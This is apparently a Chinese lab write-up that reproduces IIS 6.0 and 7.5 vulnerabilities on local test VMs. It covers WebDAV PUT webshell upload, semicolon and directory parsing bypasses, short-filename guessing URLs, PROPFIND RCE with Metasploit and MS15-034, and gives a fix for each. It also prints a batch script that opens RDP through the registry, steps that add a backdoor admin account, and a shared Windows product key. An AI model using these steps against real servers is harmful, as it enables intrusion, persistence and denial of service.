赞
踩
目录
从大佬们那里学习了一下Web中间件相关漏洞,这次尝试复现IIS常见的一些漏洞,包括PUT漏洞、短文件名猜解、远端代码执行、解析漏洞等。复现也有靶场环境搭建,漏洞介绍与修复方法。
并提供一下我复现过程中使用的工具/软件:(iiswrite/iisputscanner/iis6.0exe/3389.bat)
提取码:qtqu
1.安装win2003:
具体安装过程我就不写了,安装好后我的win2003的IP为192.168.111.138。
镜像包链接:百度网盘 win2003 r2 sp2镜像包
提取码:ao2w
%提供一个密钥:
DVB4Y-KF6GK-MT3XX-FW3HC-VXTB6
2.安装IIS:
2.1依次点击开始->控制面板->添加或删除程序->添加/删除Windows组件(左侧第三个)->找到应用程序服务器:
2.2双击打开(或点击详细信息),如图勾选:
2.3确定后,点击下一步安装,完成后可以在开始->管理工具->进入Internet信息服务(IIS)管理器:
2.4至此一个简单的IIS6.0搭建完成。
根据put协议,当我们浏览某个网站,访问某个资源时,如果网站存在这个资源,则会进行替换,若网站不存在这个资源,则会创建这个资源,所以我们可以利用put直接对网站写shell。
而IIS Server 如果在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,结合put协议就会造成任意文件上传漏洞。
2.1在靶机win2003搭建好IIS服务(iis6.0),开启IIS的WebDAV功能:
2.2选择左侧网站->默认网站(右击)->属性->主目录,允许写入(必需)、脚本资源访问(非必需,之后解释,这里先允许):
2.3默认网站(右击)->权限,允许来宾用户的写入权限,IIS_WPG默认读取与运行权限即可:
2.4访问http://192.168.111.138(win2003),burp抓包,修改GET为OPTIONS发送,测试允许的方法。
2.5再使用IIS put scanner扫描一下判断是否允许put方法:
2.6如果这时候把WebDAV禁止,再次扫描发现PUT-NO:
2.7使用iiswrite工具进行iis put漏洞测试利用,首先使用PUT方法进行绕过,上传包含asp一句话木马的test.txt文件:
2.8回到靶机,发现目录下已生成相应文件:
2.9之后利用move方法将txt转为木马文件,执行后出现报错但依然可以发现生成了shell.asp文件:
2.10使用蚁剑进行连接,成功getshell:
3.1如果网站属性中未允许脚本资源访问(如图),那么会在move方法修改txt文件时报错,但可以通过利用IIS目录解析漏洞中的文件解析漏洞,使脚本正常生成:
3.2利用IIS目录解析漏洞,在shell.asp后面加上【 ;.txt】,提交数据包成功绕过,发现网站生成了一个shell.asp;.txt文件:
3.3再次通过蚁剑连接,成功上线:
4.1.在Web 服务扩展中关闭 WebDAV;
4.2.禁用访客写入权限。
IIS的短文件名机制,用户通过特殊payload访问构造的某个存在的短文件名,会返回404,访问不存在的短文件名,返回400,故而可以暴力猜解短文件名。
它使攻击者可以获取Web根目录下的文件/文件名,造成敏感信息泄露。
更多关于短文件名的原理请参考:iis短文件名猜解一晓风的博客-CSDN博客iis短文件
2.1首先在默认网站根目录下创建符合字符长度的文件bbccddee.html以及文件夹webtest_efwef:
2.2同时由于使用的是IIS6.0(<8.0),需要在web服务拓展里开启ASP.NET:
2.3打开cmd命令行,进入web目录,通过dir /x命令,查看短文件名:
2.4通过访问http://your-ip/*~1*/a.aspx查看返回结果,如果是404,则代表存在短文件,如果出现bad request(400)则表示不存在:
http://192.168.111.138/*~1*/a.aspx
2.5修改访问链接,http://your-ip/XXX*~1*/a.aspx通过返回结果判断短文件名,如果是404则猜测正确。现在我们测试一下‘wa’,返回Bad Request,不存在:
http://192.168.111.138/wa*~1*/a.aspx
2.6将‘wa’修改为‘we’,发现返回404,表示该文件名正确:
http://192.168.111.138/we*~1*/a.aspx
2.7进而我们可以通过不断修改url判断完整的短文件名(最多6个),这里也可以通过编写脚本快速测试:
http://192.168.111.138/webtes*~1*/a.aspx
2.8判断出了短文件名‘webtes‘后,接下来还要判断该短文件是文件还是文件夹,通过修改访问http://your-ip/*~1/a.aspx,如果返回404则表示该短文件是文件夹:
http://192.168.111.138/webtes*~1/a.aspx
2.9接下来我们判断另一个html文件,首先判断第一个字符,测试‘c’,发现返回bad request,代表错误:
http://192.168.111.138/c*~1*/a.aspx
2.10修改字符为‘b’,发现返回404,则该短文件第一个字符为b:
http://192.168.111.138/b*~1*/a.aspx
2.11继续修改为‘bbccdc’,查看返回结果为400,说明错误需要继续测试:
http://192.168.111.138/bbccdc*~1*/a.aspx
2.12最后修改为‘bbccdd‘后返回404,成功得到短文件名:
http://192.168.111.138/bbccdd*~1*/a.aspx
2.13根据之前分辨文件夹的方法,得到返回结果400,所以判断该短文件不是文件夹:
http://192.168.111.138/bbccdc*~1/a.aspx
2.14确定了文件名,之后就以类似的方法判断文件后缀,修改http://your-ip/xxxxxx~1.XXX/a.aspx,逐一判断后缀字符,首先判断‘a’,发现返回400,继续尝试:
http://192.168.111.138/bbccdd*~1.a*/a.aspx
2.15修改到‘h’后,访问返回404,说明后缀第一个字符为h:
http://192.168.111.138/bbccdd*~1.h*/a.aspx
2.16确定了‘h’,我们可以简单猜测该文件是html文件,修改url为’htm‘(短文件后缀不超过3个),访问后返回404,所以该文件是html文件:
http://192.168.111.138/bbccdd*~1.htm*/a.aspx
2.17根据这种方法我们可以得到其他短文件,比如在put漏洞中上传的shell.asp;.txt所形成的短文件:
http://192.168.111.138/shella*~1.txt*/a.aspx
3.1升级.net framework;
3.2修改注册表禁用短文件名功能:
快捷键Win+R打开命令窗口,输入regedit打开注册表窗口,找到路径‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem’,将其中的 NtfsDisabledotNameCreation这一项的值设为 1,1代表不创建短文件名格式,修改完成后,需要重启系统生效;
3.3CMD关闭NTFS 8.3文件格式的支持;
3.4将web根目录的内容拷贝到另一个位置,如c:\wwwroot到d:\wroot,然后删除原文件夹,再重命名d:\wroot到c:\wwwroot。
1.安装win2008 R2
具体安装过程就不说了,很简单。安装好后的IP为192.168.111.143。
我这里提供一下镜像包:
提取码:2rhl
进入win2008安装vmware tool时会提醒你升级到sp1,否则无法安装,我这里给一下补丁网址,在虚拟机内下载安装升级补丁:
WindowsServer2008R2下载_Windows7Server2008R2SP1绿色版官方下载-华军软件园
2.安装IIS
2.1开始->管理工具->服务器管理器->点击角色->选择添加角色:
2.2默认下一步,在服务器角色选择Web服务器(IIS),点击下一步:
2.3在角色服务中勾选应用程序开发->ASP.NET,之后下一步,安装:
2.4安装完成后关闭界面,可以在服务器管理器中看到成功安装Web角色:
2.5访问界面:
Windows server 2003 R2版本IIS6.0的WebDAV服务中的ScStorgPathFromUrl函数存在缓冲区溢出漏洞,远程攻击者通过以“if:<http://"开头的长header PROPFIND请求,执行任意代码。
在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,从而导致远程代码执行。
2.1做好环境准备,打开IIS管理器,开启Web服务扩展中WebDAV功能:
2.2getshell:
查找并下载exp,并将其放入metasploit中:
2.3修改exp文件名格式,并赋予执行权限:(必须,否则msf无法检测到该exp)
2.4使用msf工具进行利用getshell,使用刚刚的exp,设置好sessions,执行:
2.5执行后成功上线,下一步开始提权:
2.6Ctrl+z退出shell,上传IIS6.0.exe木马程序,经测试暂无法上传,再次shell进入,在c中创建一个文件目录‘shelliis’:
2.7退出后重新上传,shell进入后查看文件夹,木马程序上传成功:
2.8通过IIS6.0.exe方式执行命令,如whoami,发现成功提权:
2.9通过该方法添加用户test1,设置密码为123456:
2.10之后赋予该用户系统管理员权限,将test1加入管理员组:
2.11Net user查看用户:
2.12攻击端开启远程桌面,首先查看靶机是否开启远程连接服务,发现3389端口未开启:
2.13自己编写一个开启3389端口的脚本(脚本很简单,自己可以网上找,这里我将脚本分享一下),编写好后将3389.bat上传到shelliis目录下:
##创建文档,写入以下内容,保存为.bat文件即可:
echo Windows Registry Editor Version 5.00 1>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000 1>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] 1>>3389.reg
echo "PortNumber"=dword:00000d3d 1>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] 1>>3389.reg
echo "PortNumber"=dword:00000d3d 1>>3389.reg
regedit /s 3389.reg
del 3389.reg
2.14通过IIS6.0.exe程序运行3389脚本,如图为正确执行状态:
2.15再次netstat -an查看开放端口,发现3389端口成功开启:
2.16在攻击端远程连接,因为刚刚已经将test1加入管理员组,所以直接用test1用户登录:
2.17远程连接登录成功:
禁用WebDAV,做好相关限制。
IIS中默认启用 内核缓存,执行与请求处理管道中缓存有关的任务。当HTTP协议堆栈(HTTP.sys)不正确地解析HTTP请求时会导致IIS远程代码执行漏洞。
安装了微软IIS 6.0以上的win 7/8/8.1/2008 R2/2012/2012 R2都受到这个漏洞的影响。
2.1在kali上执行命令curl http://192.168.111.143 -H "Host:192.168.111.143" -H "Range:bytes=0-18446744073709551615"
如果返回结果为Requested Range Not Satisfiable则存在漏洞,若返回“the request has an invalid header name”,则说明该漏洞已修补。
2.2msf工具漏洞利用,开启msf后查找模块:
2.3使用第一个模块,设置好session,进行ddos攻击:
2.4攻击成功后靶机蓝屏重启:
2.5接下来我使用第二个模块进行内存数据爆破,但是失败了,应该是靶机IIS服务配置出现了问题:
2.6后续通过测试,应该是靶机IIS服务器下没有创建网页等,所以回到靶机IIS管理器->选择网站->右键添加网站->设置好一些信息:
2.7再次回到kali,运行,发现成功读取靶机内存信息:
3.1请到官网下载补丁:
Microsoft 安全公告 MS15-034 - 严重 | Microsoft Learn
3.2暂时禁用IIS内核缓存,不过保险起见,直接打补丁是最好的。
IIS5.x/6.0,在网站下建立文件夹的名称中带有.asp、.asa等可执行脚本文件后缀为后缀的文件夹时,其目录内的任何扩展名的文件都被IIS当作可执行文件来解析并执行。
这里我通过墨者学院提供的靶场- 内部文件上传系统漏洞分析溯源进行复现,官方地址:内部文件上传系统漏洞分析溯源_文件上传_在线靶场_墨者学院_专注于网络安全人才培养
2.1启动靶场环境,上传一个test.txt文件测试,发现上传成功路径为.asp结尾:
2.2再次上传一个包含asp一句话木马的shell.txt文件,抓包,在upload后添加/.asp,发送:
2.3上传成功,并且在upload目录下创建了一个.asp文件夹,而asp一句话木马文件也保存于.asp文件夹内:
2.4使用蚁剑,设置好url与密码:
2.5成功上线:
在IIS6.0下,分号后面的不被解析,也就是说xx.asp;.jpg将被当做xx.asp解析并执行。
在PUT漏洞中的报错问题解决中利用过,在此不表。
(或者可以参考我之前博客发的一个关于nginx文件解析漏洞靶场)
3.1对新建目录文件名进行过滤,不允许新建包含‘.’的文件;
3.2曲线网站后台新建目录的功能,不允许创建文件夹;
3.3限制上传的脚本执行权限,不允许执行脚本;
3.4编写正则过滤.asp/xm.jpg,通过ISApi组件过滤.
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。